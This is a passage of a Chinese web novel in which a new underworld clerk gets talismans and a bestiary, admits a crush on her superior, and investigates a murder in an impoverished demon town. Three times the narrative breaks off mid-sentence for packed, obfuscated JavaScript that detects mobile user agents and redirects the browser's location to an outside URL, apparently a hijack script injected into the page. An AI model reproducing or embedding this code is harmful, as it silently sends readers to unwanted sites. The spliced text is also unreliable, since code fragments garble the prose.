“那就写，治愈符箓2个，阴律司，再签上你的名字，” 孙姐从抽屉里掏出两张治愈符箓，递给乔林，“贴在受伤的地方就行了，只是这符箓只能起到止疼的作用，伤口还是得自己愈合。” 乔林接过符箓往自己的肩膀和膝盖上啪啪一贴，之前的不适感瞬间烟消云散，乔林试着动了两下，嘿，好使。 “还有妖怪名录。”乔林提醒道。 紧接着孙姐又掏出一个本子和一把钥匙，说：“你先把这个签字领了，给你分配的宿舍。” “这么人性化？” 乔林看了看本子上写的，员工大厦，1801号，她签上了自己的名字，接过了钥匙。 “还有妖怪名录是吧……跟我一起去档案室找找。” 乔林跟在孙姐身后，朝着档案室走去。 “孙姐，谢谢你上次给我送来的办公用具。” “什么办公用具？” “就是发的啊，笔啊本啊什么的。” “不是我哦，”孙姐意味深长地看了眼乔林，“会不会是其他人？” “还能有谁……”谁字还没说出口，乔林就明白了孙姐的意思，赶紧找补了一句，“给牛马送嚼子。” 档案室里是堆积如山的资料和迷宫一样摆放的资料柜，乔林心里感叹，如果是小偷过来偷东西，恐怕不仅找不着东西，就连人也得折在里面。 可孙姐却轻车熟路的在里面在里面躲闪腾挪，这个架子上凸出来个盒子，孙姐利落的一甩头，那个架子旁倒了一堆文件，孙姐连眼珠子都不带转一下子就直接垮了过去。 “应该就在这个架子上了，很厚的一本，咱俩一起找找。” 看着两米高十米宽，严丝合缝摆满了文件的架子，乔林撸起了袖子。 “你从左往右，我从右往左。”孙姐安排道。 “好嘞，哦哦，对了孙姐，想起个事儿，内个，之前第一次跟着周副司出去的时候，我变出来点东西，问周副司这技能有没有什么限制，他说我情况特殊，这事儿还得问您。” 孙姐惊讶地从书本里抬起头，一双大眼睛越过眼镜的上沿，不可思议地望向乔林。 “你能变什么？” “变过钱啊、雨伞啊、机关枪什么的，”乔林如实回答，“不过用完后没一会儿就消失了，什么也没留下。” “这不应该啊……” “什么不应该？” “这是一个比较高阶的法术，叫以虚化实，”孙姐解释道，“需要起码一百万业绩点做支撑，而且不是说有了那么多业绩点就能会这个法术的，还需要有一定机遇。” 一、一百万点？一百万是几个零？乔林回忆了一下自己那点可怜的业绩点余额，嗯，那确实挺不可思议的，怪不得孙姐那么惊讶。 “所以我会不会是什么下凡历劫的仙女之类的这种？” 乔林本来想胡诌是阎王爷的私生女，但又觉得这毕竟是阎王爷的地盘，况且他又是自己的顶头上司，是法力高强的神仙，万一他能听见岂不尴尬？ 本以为孙姐会说自己胡扯，可谁知对方竟露出了将信将疑的表情，拿出了手机开始查询乔林的生死籍，边看边皱紧了眉头。 “怎么样？”看来我这张嘴也并非好的不灵坏的灵啊。 “很平凡，不，不，应该说是非常非常平凡。” 乔林的脸上挂满了黑线，这真是一个情理之中却又在意料之外的答案。 “那我为什么会这个法术？什么以虚化实，这肯定是有什么原因的吧？” 孙姐手握拳放在了嘴边，眉头皱得更深了，“不过我们人事处权利也有限，只能看到这个人每一世的生死籍，你的生死籍没有任何异常的地方。” “每一世？那会不会和我的前世有关系？” “哎……”孙姐悠悠地叹了口气，“问题就在于，这就是你的第一世，你没有前世。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136037|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那……在这之前，我在哪里？” “这个问题不太好回答，只能说大多数人是从无尽的可能性中来的。”看乔林十分紧张，孙姐冲她笑了笑，“也许你不一样，其实每个人也都不一样。” “那这些能查到吗？” “可以，但不是在我这儿。” “在哪里？” “在第十殿的轮转王那里，一般你轮回前，都会给你看，”孙姐又想了想，“或者有更高的权限，最低要到副司级别。” 听到这儿，乔林大脑里的小灯泡亮了亮。 “找到了！”说话间，孙姐从文件架上拽出了一本一揸厚的书，“就是这本。” 乔林接过书，拍了拍上面的浮土。书面的封皮是墨绿的丝绸材质，上书烫金的《妖怪名录》，只是这本书看起来有年头了，上面的字看着有些暗沉。 “那我拿走了。” “记得还回来。”孙姐叮嘱道。 “没问题。” 推开周骏驰办公室的门，乔林看到他正坐在摞了半米高的文件后，修长的指尖捏着一只银质的钢笔，领带不知道何时被他摘掉了，领口多解开了一颗扣子，露出了漂亮的锁骨。 他垂着眼，长而密的睫毛在眼睑下方投出一小片阴影， 即便是乔林进门，他也没有抬眼。 他的沉默让乔林也忘记了时间，就这样静静的欣赏着眼前这个人。 乔林还记得看到新闻的那天，比起难过，那种心情更像是绵长的怅然。 乔林看着他曾在屏幕里发着光，也曾在低落时无意中托了自己一把。 她把他当作遥远的念想、前行的微光，以为这份光亮会一直亮着，却突然被告知，灯灭了。 现在，这个人就在她眼前，在她抬手就能摸到的地方。不知为何，乔林觉得眼鼻尖儿有些发酸。 “拿到书了吗？”周骏驰没有看乔林，略带疲倦地活动了一下脖子。 “呃……拿来了。”乔林整理了一下表情。 “这几天不出任务的话，你就好好翻一下这本书吧，顺便把没有处理的事情处理一下。” “好。”乔林坐到了自己的办公桌前，翻看起这本《妖怪名录》。 两人不再说话，房间内安静的仅能听见书页翻动的声音。 这本厚厚的书将所有的妖怪分成了四个部分，分别以豹尾、鸟嘴、鱼鳃、黄蜂为首领。 乔林翻了翻。 “没有雾隐婆吗？” “她不在列。” “她不是妖怪吗？为什么不在列？”乔林不解。 “她不是地府在册的妖怪。”周骏驰一边翻看着手中的文件，一边回答乔林的问题。 “我一直在想，雾隐婆的目的是什么？如果只是报复人类的话，那许清晨这案子，对于人类的杀伤力也太小了吧……你说呢？” 周骏驰放下了手中的文件，抬起头。 “你有什么想法？” “我总觉得她说报复人类只是个幌子，以她的能力如果真想杀人，又何必假他人之手？” “也许是她怕被抓住呢？”周骏驰虽然这样问，但能看出他并非这样想。 “怕被抓住这不也让人抓住了吗，”乔林嘿嘿一笑，“人家都说，不能看他说了什么，要看他做了什么，许清晨那件事，和报复人类不沾边，所以他一定是在说谎，除非她就是为了报复许清晨……或者李求。” “你说得没错，她确实有别的目的。”周骏驰认真地盯着乔林。 “什么目的？” 24. 死因 周骏驰耸了耸肩，“不知道。” “那雾隐婆被关在哪里了？去问问她有帮助吗？” “没那么简单，妖怪名录看到哪里了？” “呃……”乔林挠了挠头，心说就这么一会儿能看到哪儿，刚看了个开头呗，“看、看了一点。” “你看看窗外。” “窗外？” 乔林拉开窗帘向外看了看，她们所在的地方是整座地府最高的建筑，而周骏驰的办公室位于这栋大楼的中间位置。 从窗户看去远处是连绵不断的阴山，暗淡无光的天空在与阴山交界的地方格外灰暗。 近处是一片高低错落的建筑，有飞檐斗拱的传统建筑，也有简约大方的现代建筑，这么看去倒有些赛博朋克的意味在里面。 建筑群的边缘就是娴女上次带自己去的忘川河。 “景色不错。”乔林点评道。 她的回答总能让周骏驰有种不想接下茬的无奈。 “地府分为主城和边缘两部分，我们所在的位置就是主城，那里，”周骏驰指了指远处的阴山，“就是边缘，也就是妖怪们生活的地方。” 乔林皱着眉头使劲看了看，可是那里太远了也太黑了，什么也看不清。 “好黑啊。” “所以那块区域还有一个名字，叫永夜。”周骏驰坐回了自己的办公桌前。 “那这妖怪们的生活条件看来不怎么样啊。” 周骏驰对于乔林的评价不知可否。 “永夜被划分成了东西南北四个部落，分别由不同的鬼帅统治。” “这和雾隐婆的目的有什么关系吗？” “不知道。”周骏驰的神色一沉，手指无意识地摩擦起了手中的文件边缘。 “我们要查明原因吗？” “是。”转眼间周骏驰又恢复了往日的平和。 “但我们不能直接提审雾隐婆，对吗？” “已经有人在审了，但是应该不会有什么线索，”周骏驰终于签完了积压的最后一份资料，“但是无论是她们出于什么目的，但只要她们的目的没有达成，就一定还有下一步动作，不是吗？” 乔林若有所思地点了点头。 “所以你那天是怎么知道雾隐婆在哪儿的？” 周骏驰扶额，这思维，也太跳跃了吧？ “雾隐婆既然以雾气为生，那她受伤后一定会去一个相对潮湿的地方，”周骏驰还是回答了她的问题“二楼有一间办公室的窗户破了，山里昼夜温差大，水气更容易在那里聚积。” “厉害……”乔林抚掌赞叹，在厂房外面时，自己根本就没有注意到二楼有这么一间破了窗户的屋子。 周骏驰没有理会乔林的赞美，起身穿好外套，系好扣子，准备出门。 “我还能问最后一个问题吗？” 周骏驰拉住门把的手停顿了一下，回过头来，看向乔林，算是默许她的提问。 “你……真的是被烧死的吗？” 一瞬间，周骏驰的眼神裹挟着刺骨的寒意直奔乔林而来，他捏着门把的手猛地收紧，指节泛出青白，金属门把被攥得微微发颤，发出细弱却刺耳的吱呀声。 下一秒，他推门而去，只留下那扇对乔林紧闭的大门。 乔林颓然地坐回了椅子上，她觉得喉咙一阵阵发紧。 “太着急了吗……”乔林自嘲地笑了笑。 在这段时间的相处中，乔林总是不由自主地想离周骏驰近一点，可每当他们的关系向前走了一步，乔林又急不可耐地想再进一步。 她感觉到了自己的焦躁。 但她又不能控制。 这种焦躁促使她带着一种自我毁灭的情绪冲向周骏驰，直至对方无法忍受。 现在乔林心里反而产生了一种莫名的安心。 那种焦躁被痛苦代替了，她的心不再试图寻找依靠。 手机铃声响起。 “听说你受伤了？”娴女的大嗓门穿过听筒照着乔林的门面来了一拳，给她当下打精神了。 “啊……咳”乔林清了清嗓子，把胸腔内的酸涩咳了出去“你再晚打两分钟我就痊愈了。” “嘿嘿，没事就行，听说你分宿舍了？” “你从哪儿听说？” “甲告诉了乙，乙告诉了丙，丙告诉了我……你就说是不是就完了。” “是，员工宿舍1801，我都不知道在哪儿呢。” “那你可算是遇上好人了，我知道啊，你在哪儿呢？” “我在办公室……腓腓那儿集合？” “没问题。” 乔林闭上眼睛，整理了一下情绪，起身，朝着腓腓的店走去。 乔林站在店门口，犹豫是进去等还是在门外等。 她向门内张望了片刻。 店里除了腓腓还有一个小小的身影。 “乔林。”腓腓热情的冲乔林挥了挥手，乔林也顺理成章的进了店。 “在忙啊。”乔林搓了搓手。 “这可是上好的符草啊，您看看。”说话的是那个小家伙。 乔林低头一看，嚯，这是个啥啊这是？大老鼠吗？ 这小家伙的大小差不多能到乔林的腰，周身裹着褐色的绒毛，一双圆圆的眼睛黑亮黑亮的，耳边还别着一朵不知名的小花。 这家伙不知道刚从哪里打的滚，身上全是灰。 它尖尖的爪子高高扬起，爪子里攥着一个小麻袋，应该就是它口中的符草了。 “豆豆，我知道你的难处，”腓腓叹了口气，“目前市面上上等符草的价格是十斤1-2业绩点，你这不到十斤，我给你两业绩点可好？” “谢谢腓腓姐，太谢谢了。” 小老鼠朝着腓腓鞠了个躬，欢天喜地撂下符草，又将地上自己留下的灰印用手擦干净。 “我走了，腓腓姐。”小老鼠在门口时又朝腓腓鞠了个躬，一溜烟跑走了。 腓腓却愁容满面的叹了口气，又摇了摇头。 “怎么了？” 看美人叹气，乔林觉得心都要碎了。 “没什么，只是觉得这小妖怪可怜，”腓腓冲乔林笑了笑，“你怎么来了？” 说到妖怪，乔林心中一动，既然碰着了，不如多打听几句。 “哦，我等着娴女呢，她说要带我去宿舍，”乔林说，“这妖怪怎么了？” 腓腓意味深长地看了乔林一眼。 “倒也不是这只妖怪怎么了，只是现在这地府里，妖怪的日子都难过罢了。” “乔林！”没等乔林想好怎么问，娴女就大刺刺地进了门，“走吧！” 两人并肩走在地府的青石板路上。 “符草是用来干什么的？” “我们平时用的符箓，都是特制的纸做的，”娴女说，“符草是做这种纸的原料。” “哦，符箓，这个是自己写的吗？还是买的？”乔林心说，这东西平时还挺常用的，自己也应该备一些。 “如果只是符纸的话，就直接去孙姐那儿领就行了，在外面买的话是1业绩点1张，就是得自己写。” “就直接写吗？” “怎么形容呢……就还挺抽象的，就是把自己的能力按照规范，通过毛笔注入到纸上。” “那要是想要写好的符箓呢？” “5业绩点一张，腓腓那儿就有卖的，你可以顺便再买一本《日常符箓大全》，好像是20业绩点一本吧，要不总买也挺亏的，”娴女停下了脚步，“到了。” 这是一栋穿插在阎罗殿间的现代建筑，有点像现世的塔楼，是四方的，但是地府又不存在采光问题，更没有风水可言，所以这么设计倒是也合理。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136038|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 房间大约四五十平米，有厨房，厕所没有马桶，分成客厅和卧室两个部分，布置简单温馨，最棒的是有一面大大的落地窗，从这里看去，景色和在周骏驰办公室别无二致。 乔林盯着远处黑压压的阴山愣神。 “其实这地府的景色挺酷的。” “喜欢就留下啊，当个鬼神，多自在。”娴女摊在沙发上，边玩游戏边回答。 “我还没过过锦衣玉食的人生呢，不尝试一下太可惜了，对了，周骏驰是鬼神吗？” “不是，他刚来几年，鬼神考试一百年一次，他还没赶上呢，不过他要考应该很轻松吧，反正他业绩点也早就达标了。” 是啊，他的业绩点早就过了提档投胎的门槛，如果他的目标是投胎的话，现在应该都会走路了。 乔林忽然明白了自己的焦躁感从何而来了。 自己的目标是投胎，也许一年，两年，三年，只要攒够业绩点就走了，不过是周骏驰地府工作生涯里一个小秘书，而自己投胎回来，也早就把这段记忆忘记了。 像两条线，某个点上交汇了，又分开了。 这太正常了，为什么要这么难过呢？ 为什么呢？ “我好像喜欢上周骏驰了。” “什么？！”娴女丢下手机，像被电到一样，从沙发上蹦了起来，“办公室恋情？迪奥啊你！” “什么恋情啊，别胡说了，我这是单相思。” 是啊，单相思，从很早就开始的单相思，那时候美其名曰是偶像是崇拜，但是说白了就是爱而不得。 “那怎么了，追啊，你知道吗？那个粪泥尿的小索和那个多铜斧的老赵，前些日子还在一起了，那小索刚来的时候本来都是有老公的人。” “啊？那也行。” “哎呦，你别提了，她老公姓温，干了两年就跑去投胎了，但是投胎前，这个小索就已经和老赵眉来眼去了，只是没敢有什么实际动作。” “那这个温，是不是因为知道了才投胎去的啊？” “那谁知道，你知道他们两口子怎么死的吗？” “怎么死的？”乔林瞪大了眼睛。 “车祸，要不说怎么一块死了呢。” “哦……”乔林点了点头。 “要我说，人家那有家室的都能第二春，你们这孤男寡女的，还忌讳什么？” “他想留下，我想走，即便在一起，也不会有结果。” “什么结果？能吃吗？甜的酸的啊？”娴女不服气，“现在爱现在就在一块就行了呗，也许明天世界末日了呢。” “在一起哪有那么简单啊，就算我想在一起，人家周骏驰也得同意才行啊。” “那倒也是，周骏驰眼光应该挺高的，咱们这儿好多小姑娘喜欢他，都被他拒绝了。” “他怎么说的？” “那我哪儿知道，不过人家姑娘回来倒是都感激涕零的，好像对方不是拒绝了她，而是救了她似的。” 乔林心中苦笑，不难看出周骏驰有多讨厌自己了。 她的脑海里浮现出周骏驰常有的不耐烦的表情，她本来以为这是正常的。 但是他就算拒绝告白都能做到如此妥帖，要是想要掩饰自己的情绪，应该是轻而易举的，只是自己不值得对方上心罢了。 “没戏。”乔林长叹一声，这俩字，也不知道是对娴女说的，还是对自己说的。 “你不追怎么知道没戏？” “那周骏驰挺烦我的。” “那怎么了？喜欢他是你的事，他烦你是他的事。” 这句话击中了乔林，娴女说得对，厉害啊，这没点经验真说不出这么有哲理话。 “娴女，你谈过几次恋爱了？” “一次都没谈过，怎么了？”娴女漂亮的丹凤眼里全是对爱情的茫然。 25. 玄尾城 在家看了会电视，两人决定一起去买些符箓，再去孙姐那里领些符纸。 还没进奇珍异宝铺的门，就听见了门内传来哭喊声。 “求求您了，您一定要帮我啊！” “我就这么一个哥哥！您认识上边的人！帮我哥哥求求情，他是被冤枉的！” …… 娴女和乔林对视了一眼，三步并作两步，进了铺子的门。 跪在那里哭喊的是刚才卖符草的小鼠妖，伴随着瀑布般的眼泪，她整个身体都在跟着剧烈的颤抖。 腓腓蹲在鼠妖的身边，一边轻抚着鼠妖的后背一边用手绢擦着眼泪。 “你快起来，我帮你想办法。” 看到娴女和乔林两人走进来，腓腓赶紧将跪在地上的小鼠妖，连拖带拽的揪了起来。 “你俩来得正好，豆豆家出事了，我……”腓腓咬了咬嘴唇，“我只是个开铺子的灵兽，这些事情我不好干预，你们两个听听，能帮就帮一把。” 听到腓腓这样说，小鼠妖的小鼠妖的眼睛倏地亮了，慌抬眼望着娴女和乔林，眼里满是攥着最后一丝指望的急切。 “我、我、我……”小鼠妖怯怯地向前走了一步，似有千言万语又不知道该如何开口。 “没事，这两个都是好人，你慢慢说。”腓腓拉起了豆豆脏兮兮的小爪子，一脸鼓励地看着她。 豆豆感激地回望了一眼，深吸了一口气。 “我是住在玄尾部的小妖，今天送完符草后我拿着钱回家，却发现应该在家里照顾妈妈的哥哥不见了，”豆豆的声音颤抖着，她努力的平复了一下，“我问了邻居，说他杀了人，被部差们抓起来了。” 这话说完，豆豆抑制不住地大哭了起来。 “他们说他杀的是隔壁的小钱哥，怎么可能，我们从小玩到大，而且哥哥那么善良，连虫子都舍不得杀一只，怎么可能会杀人……” “能不能带我们去现场看看？”乔林开口。 三人都用诧异的眼神看着乔林。 “怎么了？是我们不能去她们那里吗？”乔林不好意思的看着几人，“我还不太知道规矩。” “能去，我陪你。”娴女抓住了乔林的手。 “谢谢两位大人，谢谢两位大人。”豆豆跪在地上，把头磕的砰砰作响。 “你快起来吧，咱们赶紧过去。”乔林拉起了磕个没完的小鼠妖。 通往永夜的路上，一如其名字般黑暗，这是一条被小妖怪们人为踩出来的小路，路两边长满了地府特有的植物，乔林自然叫不上名字，觉得有可怕又新奇。 耳边传来时远时近的奇怪动静，脚下也不时踩到点什么不知名的东西，乔林甚至不知道那是活物还是死物。 终于，透过植物叶子的间隙，乔林看到了一点幽绿的火光。 一座破败的城门出现在了众人眼前。 “到了。”豆豆提醒二人。 “你来过这儿吗？”乔林问娴女。 “跟谢必安来过一次，押送个小妖怪，这几百年了，就那么一次。”娴女的心里多少也有点打鼓。 二人整理了一下仪容，理了理头发，拽了拽衣服，让自己看起来尽量妥帖，符合“上面来人”的身份。 乔林深吸一口气，挺直了腰杆，迈大步朝着黄土堆砌的城门走去。 “你们两个干什么的？”守城的是两只手持尖枪的猫妖，四只玻璃般透亮的黄眼睛，贪婪地盯着两人，似乎不管她们回答的是什么，下一秒都会被吞进肚子。 “我们是地府的工作人员，阴律司的周副司要我们过来协助查案。”乔林一本正经地回答。 “周副司？” “协助查案？” “哈哈哈哈哈哈哈哈……” 乔林的话不知道戳中了他们的什么笑点，笑得二人前仰后合。 但很快，其中一只猫妖收起了脸上的笑容，冷哼一声，“我们玄尾城，只认豹尾大人的命令，地府的人算什么东西？就你这身板，都不够老子塞牙缝的，听懂了就赶紧滚。” 随即他注意到了一旁的豆豆。 “人是你带来的？” 豆豆抖如筛糠，点头称是，“求求大人放两个使者进去吧，我们真的有很重要的事。” 虽然那猫妖嘴上说着让乔林二人赶紧滚，但是心里多少还是忌惮他们地府使者的身份的，再加上这些年周骏驰声名鹊起，传到这犄角旮旯的地方，都以为他是什么邪神转世，倒有些三人成虎的意味，多少还是给点面子。 但要说对付眼前这个小小的鼠妖，这就完全进入了他们的舒适区了。 “你个通敌叛国的畜生！”另一种猫妖上前，抬脚就冲着豆豆的门面踢去。 娴女身手利落的拽起豆豆，让那猫妖踢了一空。 “通敌叛国？怎么？你们玄尾部难道想脱离地府，自成一国不成？”娴女正色道。 那猫妖吃了没文化的亏，他其实并不太清楚通敌叛国是什么意思，只觉得是个很大的罪名，就想着搬上来吓唬吓唬这几个人。 此刻他脸上一阵青一阵白，不知道该怎么答话。 乔林也有意给双方一个台阶下，“我们的身份信息地府通上都能查到，这肯定是做不了假的，而且你们在这里守门，一定清楚，这些年地府很少有人过来，如果不是有公事，我们又何苦过来找气受呢？” 两只猫妖对视一眼，似乎认可了乔林的说法。 乔林乘势追击，“既然是公事，豹尾大人肯定是知道的，就算退一万步讲，他不知道，难道周副司给他打个招呼，放两个人进城，他还能不同意不成？” 两个猫妖不说行，也不说不行，眼睛四下一转，看到一只要出城的黄皮子，就连忙上前拦住盘问，把城门让出了一条通道。 两人一妖就这么进了城。 原以为城门口就已经够破了，这一进门更是让乔林大跌眼镜。 透过少有的几户人家家里透出来的微光，乔林看到了坑坑洼洼的黄泥路，裂开缝的土坯墙。 不远处高大的阴山和低矮的房屋形成了对比，像一个极具压迫感的巨人，将这个又小又破的部落环抱其中，沉得让人喘不过气。 这景象和现代化的地府形成了鲜明的对比，乔林有些心酸。 “跟我来。”豆豆冲两人打了个手势。 如果说刚进城市看过的房子还能称之为房子，豆豆的家就只能被叫做残垣断壁了。 两间屋子的地方，仅有一间四面有墙，而另一间的墙就只剩下两面了，当然，这两面里还包含了和旁边那间的共墙。 几个破破烂烂的锅和盆被有序的罗列在木头做成的架子上。 院子没有墙，仅有一扇用粗树枝做成的篱笆。 不过，就算是没有这扇篱笆，这毛贼进了屋，又能偷些什么呢？ 可能是对于这个部落来说，土地并算不上什么稀缺资源，这间房子虽说四面漏风，倒也算是宽敞，三人进屋后也不显得逼仄。 只是豆豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136039|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家还没富裕到能用上照亮设备，屋内和屋外一样黑漆漆的。 乔林的眼睛已经习惯了黑暗，倒也勉强能分辨屋内的东西。 两张床、一张桌子，没了。 “现在天黑着，等再过几个小时天亮了会好一些。”豆豆惴惴不安地说道，生怕这唯一的救命稻草也飘走了。 “没事……”还没等乔林的话说完，墙角的床上忽然传来“赫赫”的气声，像破了洞的风箱发出的动静。 乔林和娴女警戒地摆出防御阵型。 “别怕，是我妈……”豆豆窘迫地说，“她昏迷了好多年了……要不然，哥哥被抓起来，妈妈怎么受得了……” 说到哥哥，豆豆又忍不住抽泣了起来。 “你哥哥现在在哪儿？”乔林问道。 “已经被抓进牢房了。”豆豆抹了抹眼泪。 “你那会儿说死的是你们隔壁对吗？在哪里死的？” “邻居说就是死在家里的，上午有人看见我哥哥去了小钱哥的家，然后听见两人吵了一下，下午有人再去找小钱哥，就发现他已经死在家里了。” “带我们去现场看看。”乔林坚定而温柔地抓住了豆豆的肩膀。 两家之间是一堵矮墙，不需要通过门，乔林直接翻身爬了进去。 从院子里看，小钱家的贫困程度和豆豆家不相上下，不知道是不是因为刚死过人，比起豆豆家更多了几分阴森。 乔林打开了手机上的手电筒，推开了虚掩着的屋门，豆豆在院子里望风。 正对房门的墙上是一片已经凝固了的血迹，应该是那个小钱的。 乔林眨了眨眼睛，抓紧了娴女的手，娴女拍了怕她的后背，小声说，“没事，有我呢。” 自从进了这玄尾城，乔林的心里就始终有一种隐隐的不安，这不安像幽灵一样萦绕在她心间，但每当乔林想要捕捉它的时候，它又瞬间消失的无影无踪。 “娴女，我觉得这件事蹊跷，你相信豆豆说的话吗？”乔林小声说道。 “我相信腓腓。”娴女回以乔林一个坚定的目光。 乔林点了点头。 “那我也相信。” 屋内的陈设比起院子里好了很多，家具看起来也是新的，床边的柜子上，一台收音机放在那里，和破旧的屋子有点格格不入。 桌子摆在房间的正中央，桌上的玻璃杯里，是满满的一杯茶水。 “有办法能见上他哥哥一面吗？”乔林问娴女。 娴女沉思了片刻，面露愧色地说：“虽然我是鬼神，但是我的级别很低，又是在业务口干活的……除非是谢必安那种大鬼神，别人都认识他，多少都给点面子。” “要不咱们问问谢必安？”乔林征求娴女的意见。 娴女拨通了谢必安的电话，顺便打开了免提。 “喂，七爷，哪儿发财呢？” “有话快说有屁快放，”谢必安回道，“直接说事儿，别扯没用的。” “你现在在哪儿呢？” “我在现世呢，正收魂呢……哎，你别跑啊！我又不吃人！”电话那头传来呼呼风声，谢必安此时应该正在拿着手机快跑，“一会儿说。” “嘟嘟嘟……” 娴女看了一眼乔林，看来谢必安这条路是堵死了，“或者是让周骏驰拿着阴律司的令牌过来，他手里有一块。” “还有别的办法吗？” “还有一个。”娴女一脸贼笑地看向乔林。 “什么？” 26. 乔装 “咱们偷偷潜进去，”娴女附到乔林耳边小声说道，“我看这玄尾城的守卫稀稀拉拉的，那牢房的应该也没多难进。” “要是被抓住了怎么办？”乔林从小就是遵纪守法的好儿童、好青年，没想过还能走这种“野路子。” “你信我的吧，走，叫上豆豆，咱们从长计议，”娴女信誓旦旦拍着胸脯保证，“我看这玄尾城的经济水平照着我活着那会儿都不如，那牢房还能整出什么花样来？” 豆豆提着篮子吃食来到了玄尾城的大牢。 “这方法也太老套了吧？”乔林心里直打鼓，“电视剧都不这么演了。” “他们又没看过什么电视剧，”娴女说，“这东西保管好使，一击必中。” 乔林屏住呼吸，紧张地盯着大牢的门口。 约莫过了半个小时，豆豆鬼鬼祟祟地从破旧的牢门探出了头，冲两人所在的方向挥了挥手。 昏暗的牢房里，两盏油灯忽忽悠悠的亮着，三个看不出是什么动物的妖怪，正东倒西歪地趴在一张缺了腿靠着墙的桌子上，桌上摆着没来得及吃喝完的酒水饭菜。 “咱们干脆拿了钥匙，把你哥救出来得了。”娴女正常音量的说话声炸响在牢房里，吓得其他两人同时呆在了原地。 “别紧张，这药一进肚子，别说是人说话了，你砍他一条腿，他都醒不来，”为了证明药效，娴女朝着离他最近的妖怪腿上踢了两脚，“救不救？” 乔林本以为豆豆起码会犹豫一下，但她却坚定了摇了摇头。 “今天我来了这儿，如果哥哥却跑了，别说真的是我干的，就算不是我干的，他们也有的是办法让我招供，即便我也跟着跑了，妈妈也跑不掉，”豆豆黑豆似的眼睛盯着那微弱的火光，“而且，哥哥绝对不会允许自己背负莫须有的罪名，我一定会为他洗清冤屈。” “既然这样，”乔林把牢头面前没喝完的酒泼在了地上，“咱们就不能留下证据。” 在牢房的最尽头，一个虽然矮小却站得笔直的身影，正定定地望着巴掌大漆黑一片的窗外。 “哥哥！”豆豆激动地整个人都趴在了门上。 “豆豆，你怎么来了？妈妈呢？”哥哥一脸焦急。 “妈妈没事，先别说这些，这两个人是地府的大人物，来帮你洗脱冤屈的。” “豆豆，你胡说什么，地府的大人物怎么会来管我们的事，你……”他大概想说的是，你别被人骗了。 “我们真的是地府的，虽然不一定能帮你洗脱冤屈，但是我们想帮忙，时间很紧急，你赶紧把那天发生的一切从头到尾和我们说一遍。”乔林说。 “你们救不了我的……”哥哥的眼神里满是犹豫，似乎这件事情另有隐情。 “哥！不试试怎么知道！人不是你杀的对不对？” “当然，但是……”他又看了眼满脸期待的豆豆，叹了口气。 “我们待不了太久，你快说。”娴女打断了他话，药效时间已经过去了三分之一，她不想把时间浪费在他的犹豫上。 “那天早上我本来是想着找小钱商量点事情，但我看到他买了台新的收音机，便问他钱是哪来的。” “他却说那都是小钱，以后他是要挣大钱的，我想起前些日子看到小钱和我们部落里的地痞在一起的事，便问他是不是在跟着他们干什么违法的事情。” “他却说我老实巴交一辈子也挣不到钱，我感觉他已经走了错路，就劝了他几句，他一个字都听不进去，就这样吵了起来。” “你知道他在做什么吗？为什么这么肯定他做了错事？”乔林问。 “你们两个是地府的人，对我们这里的情况不了解，因为大家过得都不好，于是就有人动了歪心思……”哥哥沉默了片刻，似乎在考虑这话要不要说，“比如买卖一些部落里严禁买卖的东西。” “具体呢？”乔林问，她心想，别是利益分配不均，被人杀人灭口了栽赃给了豆豆哥哥。 “比如……”哥哥深深地看了演乔林，“人口、毒品……” “妖怪也需要那种东西来取乐吗？”乔林震惊。 “妖怪不需要，但是人类需要，有些妖怪天生能制毒或者迷幻剂。但这是部落和地府都严令禁止的，我们不能和人类有接触。” 娴女和乔林对视一眼，她们似乎误闯进了什么不得了的事情里。 “谁在卖？”娴女问。 哥哥摇了摇头，“这我就不清楚了，他们时长流窜，我知道的并不多，只是和小钱接触的那几个妖怪，看起来就不像好妖，再加上他突然有了钱，我就猜测是，而且他也没有否认。” “然后呢？你们吵完架之后呢？”乔林继续问。 “我就走了，回了自己家。” “仅仅因为你和他吵了一架，就把你定为了杀人凶手？”乔林心说，这好歹也算是一个部落的警察局，难道断案这么草率？ “不……”哥哥低下了头，“是因为一张击穿符，杀死小钱的是一张击穿符。” “那和你有什么关系？”乔林不解，“难道那击穿符是你的。” 哥哥点了点头，头垂在暗无天日的牢房里，看不清表情。 “哥哥！”豆豆惨叫一声，跌坐在了地上，“你买那个做什么用？” 哥哥不做声。 乔林第一次见豆豆，是因为卖符草，2个业绩点就够她感恩戴德，而一张写好的符箓售价能到5个业绩点，对于这个贫困的家庭来说，是一笔不小的开支。 他买来要做什么？ 乔林和娴女没再开口，豆豆不管怎么问，哥哥也始终保持缄默，似乎买击穿符的原因，是一个绝对不能说的秘密。 时间快到了，乔林和娴女，拉着瘫在地上豆豆，快步回到了她的家中。 